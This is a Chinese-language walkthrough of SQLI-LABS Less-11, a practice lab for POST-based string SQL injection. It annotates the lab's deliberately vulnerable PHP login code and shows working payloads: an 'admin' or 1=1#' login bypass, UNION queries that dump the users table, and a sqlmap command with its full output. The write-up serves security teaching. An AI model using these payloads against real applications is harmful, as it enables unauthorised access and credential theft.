目錄
一、字符型注入
二、limit函數
三、GET方法與POST方法
四、源碼分析
1、代碼審計
2、SQL注入安全分析
五、滲透實戰
1、進入靶場
2、注入點分析
(1)SQL語句
(2)萬能密碼登錄?
3、手工注入
?(1)獲取列數
(2)獲取回顯位
(3)獲取數據庫名
(4)獲取表名
(5)獲取列名
(6)獲取數據
4、sqlmap滲透實戰
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節通過手工注入和腳本注入共2種方法對第11關Less 11基于字符型的SQL注入關卡進行滲透實戰,相對于前1-10關的最主要區別是報文參數的請求方法由GET變為POST。??
一、字符型注入
字符型注入是 SQL 注入的一種類型,攻擊者通過在輸入字段中插入惡意 SQL 代碼來改變原 SQL 語句的邏輯。字符型注入通常發生在SQL 語句使用單引號或者雙引號等包裹字符串參數的場景中。攻擊者通過閉合單引號或者雙引號等符號并注入額外的 SQL 代碼,破壞原有語句結構。
二、limit函數
Limit是 SQL 中用于限制查詢結果數量的子句,不是真正的函數。Limit通常有兩種常見形式,具體如下所示。
-
單參數形式:
LIMIT n
-
返回前 n 條記錄
-
示例:
LIMIT 5
?返回前5條結果
-
-
雙參數形式:
LIMIT offset, count
-
offset
:跳過的記錄數(從0開始) -
count
:要返回的記錄數 -
示例:
LIMIT 10, 5
?跳過前10條,返回接下來的5條
-
舉例:SQL語句“SELECT * FROM users WHERE id='$id' LIMIT 0,1”中的LIMIT 0,1"表示獲取第一條匹配的記錄",LIMIT0,1的具體含義如下所示,
-
從第0條記錄開始(即不跳過任何記錄)
-
只返回1條記錄
三、GET方法與POST方法
GET 和 POST 是 HTTP 協議中兩種常用請求方法,核心區別如下。
GET 方法通過 URL 傳遞參數(如?key=value
),參數可見且暴露在地址欄中,受瀏覽器長度限制(通常約 2KB),僅支持 ASCII 字符,會被瀏覽器緩存,安全性較低,適用于獲取數據(如搜索、分頁)。例如,用戶搜索關鍵詞時,參數直接顯示在 URL 中。
POST 方法將參數放入請求體中傳輸,不顯示在 URL 中,無明顯長度限制,支持任意編碼,不會被緩存,安全性更高,適用于提交數據(如登錄表單、文件上傳)。例如,用戶提交密碼時,參數通過 POST 請求體發送,不易被竊取。
簡言之,GET 側重 “獲取”,參數可見且有局限性;POST 側重 “提交”,參數隱蔽且更靈活。兩者的詳細區別如下表所示。
對比項 | GET 方法 | POST 方法 |
---|---|---|
參數位置 | 參數附在 URL 后(如?name=value ) | 參數放在 HTTP 請求體中 |
可見性 | 參數暴露在 URL 中,不安全 | 參數不可見,相對安全 |
長度限制 | 有長度限制(約 2KB,取決于瀏覽器) | 無明顯長度限制 |
緩存性 | 會被瀏覽器緩存 | 不會被緩存 |
編碼支持 | 只允許 ASCII 字符 | 支持任何編碼類型 |
安全性 | 不適合傳輸敏感數據(如密碼) | 更適合傳輸敏感數據 |
應用場景 | 獲取數據(如搜索、分頁) | 提交數據(如表單、文件上傳) |
典型注入點 | URL 參數(如id=1' OR 1=1 -- ) | 表單字段(如 POST 數據中的username ) |
四、源碼分析
1、代碼審計
本關卡Less11是基于字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。
Less11關卡的源碼功能是登錄驗證頁面,與前1-10關的主要區別就是參數的傳遞方法由GET變為POST方法,詳細注釋后的源碼如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-11- Error Based- String</title> <!-- 基于錯誤的字符串注入 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div><!-- 登錄表單 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><form action="" name="form1" method="post"> <!-- POST方式提交 --><div style="margin-top:15px; height:30px;">Username : <input type="text" name="uname" value=""/> <!-- 用戶名輸入框 --></div> <div> Password : <input type="text" name="passwd" value=""/> <!-- 密碼輸入框 --></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /> <!-- 提交按鈕 --></div></form></div>
</div><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00"><?php
// 包含MySQL連接配置文件
include("../sql-connections/sqli-connect.php");
// 關閉PHP錯誤報告
error_reporting(0);// 檢查是否提交了用戶名和密碼
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname = $_POST['uname']; // 獲取用戶名$passwd = $_POST['passwd']; // 獲取密碼// 記錄用戶輸入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// 構造SQL查詢 - 存在注入風險點@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; // 直接拼接$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 登錄成功echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">'; echo "<br>";echo 'Your Login name:'. $row['username']; // 顯示用戶名echo "<br>";echo 'Your Password:' .$row['password']; // 顯示密碼(安全風險)echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; // 成功標志圖片 } else { // 登錄失敗echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 關鍵安全點:顯示數據庫錯誤信息echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; // 失敗圖片echo "</font>"; }
}
?>
</font>
</div>
</body>
</html>
這是一個參數為用戶名和密碼的基于POST請求登錄表單的登錄驗證頁面,存在基于錯誤的SQL注入風險,通過用戶名和密碼字段的直接拼接構造SQL查詢,并顯示數據庫錯誤信息,主要功能是:
-
提供用戶名和密碼的登錄表單(POST方法提交)
-
記錄所有登錄嘗試到result.txt日志文件
-
使用單引號直接拼接用戶輸入構造SQL查詢
-
響應處理:
-
登錄成功:顯示用戶名和明文密碼(可使用union聯合法注入)及成功圖片
-
登錄失敗:顯示數據庫錯誤信息和失敗圖片
-
-
關鍵風險點:顯示詳細的MySQL錯誤信息(可使用報錯法注入)
2、SQL注入安全分析
這個代碼存在嚴重的SQL注入安全問題,原因如下:
-
未過濾的用戶輸入:直接將
POST參數
拼接到SQL語句中,沒有任何過濾或轉義處理。
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
-
字符串拼接方式:SQL查詢使用單引號包裹用戶輸入,攻擊者可以閉合單引號注入惡意代碼。
-
登錄成功結果顯示:顯示用戶名和明文密碼,有助于攻擊者進行基于union聯合法SQL注入。
-
錯誤信息顯示:當SQL查詢出錯時,代碼會通過print_r(mysqli_error($con1))顯示MySQL錯誤信息,這有助于攻擊者進行基于錯誤的SQL注入。
五、滲透實戰
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://127.0.0.1/sqli-labs/
其中第11關在基礎注入關卡“SQLi-LABS Page-1(Basic Challenges)”中,?點擊進入如下頁面。
http://127.0.0.1/sqli-labs/#fm_imagemap
點擊上圖紅框的Less11關卡,進入到靶場的第11關卡POST字符型注入關卡,頁面提示登錄框,需要輸入用戶名和密碼,具體如下所示。
http://127.0.0.1/sqli-labs/Less-11/
2、注入點分析
(1)SQL語句
根據源碼分析可知,本關卡通過 POST 方法接收用戶名(username)和密碼(passwd),使用mysqli_query
執行?SQL 查詢(SELECT username, password FROM users WHERE username='$uname' and password='$passwd'
),直接拼接用戶輸入的uname
和passwd
參數,且未對單引號等特殊字符過濾。登錄成功時顯示用戶名、密碼及成功圖片;失敗時通過mysqli_error($con1)
直接返回數據庫錯誤信息,導致可利用報錯注入(如UPDATEXML
函數)泄露數據。具體代碼如下所示。
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
頁面整體基于錯誤回顯的字符串型注入場景,核心根源在于未對輸入做安全處理且暴露數據庫錯誤細節,閉合方式為單引號,故而本關卡可以通過POST方法字符型報錯注入進行滲透。
(2)萬能密碼登錄?
根據上一步我們分析注入點為username和passwd,嘗試萬能登錄,用戶名為admin' or 1=1#,密碼任意(這里設置為mooyuan),此時開啟bp抓包,頁面效果如下所示。
點擊登錄submit,此時頁面顯示“Your Login name:Dumb,Your Password:Dumb;”并提示登陸成功,具體如下所示。?
在burpsuite的歷史記錄中找到這個報文,抓包效果如下所示。
此時在報文derequest請求部分右鍵,選擇copy to file并保存為sqli-labs11.txt,如下所示。
3、手工注入
?(1)獲取列數
如下所示,order by為2時滲透成功,但是order by為3時提示列不存在,故而共有2列。
admin' ORDER BY 2--
admin' ORDER BY 3--
(2)獲取回顯位
如下所示,回顯位為1和2,接下來我們使用第2個回顯位進行滲透。
-admin' UNION SELECT 1,2--
(3)獲取數據庫名
如下所示,數據庫的名稱為“security”。
-admin' UNION SELECT 1,DATABASE()--
(4)獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
-admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
(5)獲取列名
如下所示,數據庫users表的列名分別為id,username,password。
-admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--
(6)獲取數據
最后通過上一步獲取到的列名來提取users表的內容,如下所示滲透成功。
-admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)) FROM users--
4、sqlmap滲透實戰
我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -r sqli-labs11.txt --current-db --dump --batch
其中sqli-labs11.txt中的注入點被修改為如下所示。
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-11/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55uname=admin&passwd=mooyuan&submit=Submit
sqlmap滲透成功,可以通過聯合注入法、報錯法、布爾盲注、時間盲注等方法滲透成功,具體信息如下所示。
POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 145 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 6228=6228#&passwd=mooyuan&submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin%' AND GTID_SUBSET(CONCAT(0x7176786b71,(SELECT (ELT(6001=6001,1))),0x716a6a7871),6001) AND 'lltM%'='lltM&passwd=mooyuan&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin%' AND (SELECT 1233 FROM (SELECT(SLEEP(5)))oGno) AND 'kYbR%'='kYbR&passwd=mooyuan&submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: uname=admin%' UNION ALL SELECT CONCAT(0x7176786b71,0x797650764470725965535070477076437651646c5866515a575942654e42726e62704c796b4e706f,0x716a6a7871),NULL#&passwd=mooyuan&submit=Submit
---
[21:44:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:44:47] [INFO] fetching current database
current database: 'security'
[21:44:47] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:44:47] [INFO] fetching current database
[21:44:47] [INFO] fetching tables for database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+